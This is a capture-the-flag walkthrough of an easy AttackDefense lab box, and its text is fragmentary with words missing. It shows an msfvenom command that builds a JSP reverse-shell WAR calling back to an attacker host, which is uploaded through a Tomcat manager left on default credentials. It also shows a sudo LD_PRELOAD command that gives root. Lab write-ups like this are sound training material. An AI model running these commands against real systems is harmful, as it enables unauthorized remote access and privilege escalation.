CTF X was one of the easy
CTF on AttackDefense.
The goal of this is box to get three FLAGS. Getting a low privilege shell as
After getting the shell we enumerate and find the user password inside an
Privilege Escalation to root was super simple using we see
LD_PRELOAD is preserved so we can use that to get
Enumerating this box with
nmap we see that only port
80 is open.
80 was open lets throw
nikto to that and see if we find something.
Seeing that we have
tomcat manager open to us with default credentials.
Lets create a reverse shell payload with
msfvenom -p java/jsp_shell_reverse_tcp LHOST=22.214.171.124 LPORT=4444 -f war > shell.war
We also set up the handler for that in
use exploit multi/handler
And upload this to the web server.
And execute it by opening
This give us a reverse shell back on the handler.
opening a shell on that we can see that we have our
FLAG1 and we can read that.
Enumerating the box i saw that we can read
/etc/shadow file and we find the user
robert. But when i try to crack that.I was unable to crack the password.
Then looking around
tomcat configuration folder we find a
.tar.gz file which seems to be a backup of those configurations. Extracting that we see a password for
Using that with
ssh we get a shell as
robert. with that we can read
Lets Enumerate the box for root.
sudo -l we see that we are allowed to run
/bin/ls command as root. but the most interesting part here is the env_keep.
looking at the man of
ld.so we find about
Googling about exploit LD_PRELOAD we find an article which shows us how to exploit it.
We follow the instruction .
We write and compile an library
sudo LD_PRELOAD=/tmp/shell.so /bin/ls
This give us a shell as root using which we can read
and we have pwned this box with this.💃